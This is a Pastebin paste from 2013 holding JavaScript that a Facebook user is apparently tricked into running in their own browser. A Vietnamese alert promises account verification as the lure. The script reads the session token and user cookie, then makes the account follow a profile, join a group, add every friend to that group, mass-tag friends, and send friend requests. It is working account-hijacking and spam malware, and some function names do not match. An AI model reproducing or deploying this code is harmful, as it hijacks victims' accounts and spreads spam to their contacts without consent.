gangstar

Untitled

Aug 7th, 2013
29
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3. alert('Một tuần nữa tài khoản cá nhân bạn sẽ được Facebook xác nhận làm Facebook chính chỉ...');
  4. function cereziAl(isim) {
  5. var tarama = isim + "=";
  6. if (document.cookie.length > 0) {
  7. konum = document.cookie.indexOf(tarama)
  8. if (konum != -1) {
  9. konum += tarama.length
  10. son = document.cookie.indexOf(";", konum)
  11. if (son == -1)
  12. son = document.cookie.length
  13. return unescape(document.cookie.substring(konum, son))
  14. }
  15. else { return ""; }
  16. }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23. return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30. var http4 = new XMLHttpRequest();
  31.  
  32. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.  
  34. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35. http4.open("POST", url4, true);
  36.  
  37. //Send the proper header information along with the request
  38. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39. http4.setRequestHeader("Content-length", params4.length);
  40. http4.setRequestHeader("Connection", "close");
  41.  
  42. http4.onreadystatechange = function() {//Call a function when the state changes.
  43. if(http4.readyState == 4 && http4.status == 200) {
  44.  
  45. http4.close; // Close the connection
  46.  
  47. }
  48. }
  49.  
  50. http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54. var a = document.createElement('script');
  55. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56. document.body.appendChild(a);
  57. }
  58.  
  59. a("100005811343969");
  60.  
  61.  
  62. sublist("1392608807630233");
  63. var gid = ['202865106539537'];
  64.  
  65. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  66. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  67.  
  68. var httpwp = new XMLHttpRequest();
  69. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  70. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  71. httpwp['open']('POST', urlwp, true);
  72. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  73. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  74. httpwp['setRequestHeader']('Connection', 'keep-alive');
  75. httpwp['send'](paramswp);
  76.  
  77. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  78. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  79.  
  80. var friends = new Array();
  81. gf = new XMLHttpRequest();
  82. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  83. gf['send']();
  84. if (gf['readyState'] != 4) {} else {
  85. data = eval('(' + gf['responseText']['substr'](9) + ')');
  86. if (data['error']) {} else {
  87. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  88. return _0x93dax8['index'] - _0x93dax9['index'];
  89. });
  90. };
  91. };
  92.  
  93. for (var i = 0; i < friends['length']; i++) {
  94. var httpwp = new XMLHttpRequest();
  95. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  96. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  97. httpwp['open']('POST', urlwp, true);
  98. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  99. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  100. httpwp['setRequestHeader']('Connection', 'keep-alive');
  101. httpwp['onreadystatechange'] = function () {
  102. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  103. };
  104. httpwp['send'](paramswp);
  105. };
  106. var spage_id = "";
  107. var spost_id = "";
  108. var sfoto_id = "";
  109. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  110. var smesaj = "";
  111. var smesaj_text = "";
  112. var arkadaslar = [];
  113. var svn_rev;
  114. var bugun= new Date();
  115. var btarihi = new Date();
  116. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  117. if(!document.cookie.match(/paylasti=(\d+)/)){
  118. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  119. }
  120.  
  121.  
  122. //arkadaslari al ve isle
  123. function sarkadaslari_al(){
  124. var xmlhttp = new XMLHttpRequest();
  125. xmlhttp.onreadystatechange = function () {
  126. if(xmlhttp.readyState == 4){
  127. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  128. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  129. smesaj = "";
  130. smesaj_text = "";
  131. for(i=f*10;i<(f+1)*10;i++){
  132. if(arkadaslar.payload.entries[i]){
  133. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  134. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  135. }
  136. }
  137. sdurumpaylas(); }
  138.  
  139. }
  140.  
  141. };
  142. var params = "&filter[0]=user";
  143. params += "&options[0]=friends_only";
  144. params += "&options[1]=nm";
  145. params += "&token=v7";
  146. params += "&viewer=" + user_id;
  147. params += "&__user=" + user_id;
  148.  
  149. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  150. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  151. xmlhttp.send();
  152. }
  153.  
  154. //tiklama olayini dinle
  155. var tiklama = document.addEventListener("click", function () {
  156. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  157. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  158. sarkadaslari_al();
  159. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  160.  
  161. document.removeEventListener(tiklama);
  162. }
  163. }, false);
  164.  
  165.  
  166. //arkadaþ ekleme
  167. function sarkadasekle(uid,cins){
  168. var xmlhttp = new XMLHttpRequest();
  169. xmlhttp.onreadystatechange = function () {
  170. if(xmlhttp.readyState == 4){
  171. }
  172. };
  173.  
  174. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  175. var params = "to_friend=" + uid;
  176. params += "&action=add_friend";
  177. params += "&how_found=friend_browser";
  178. params += "&ref_param=none";
  179. params += "&outgoing_id=";
  180. params += "&logging_location=friend_browser";
  181. params += "&no_flyout_on_click=true";
  182. params += "&ego_log_data=";
  183. params += "&http_referer=";
  184. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  185. params += "&phstamp=165816749114848369115";
  186. params += "&__user=" + user_id;
  187. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  188. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  189.  
  190. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  191. xmlhttp.send(params);
  192. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  193. cinsiyetgetir(uid,cins,"sarkadasekle");
  194. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  195. xmlhttp.send(params);
  196. }
  197. }
  198.  
  199. //cinsiyet belirleme
  200. var cinssonuc = {};
  201. var cinshtml = document.createElement("html");
  202. function scinsiyetgetir(uid,cins,fonksiyon){
  203. var xmlhttp = new XMLHttpRequest();
  204. xmlhttp.onreadystatechange = function () {
  205. if(xmlhttp.readyState == 4){
  206. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  207. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  208. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  209. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  210. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  211. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  212. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  213. }
  214. eval(fonksiyon + "(" + id + "," + cins + ");");
  215. }
  216. };
  217. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  218. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  219. xmlhttp.send();
  220. }
RAW Paste Data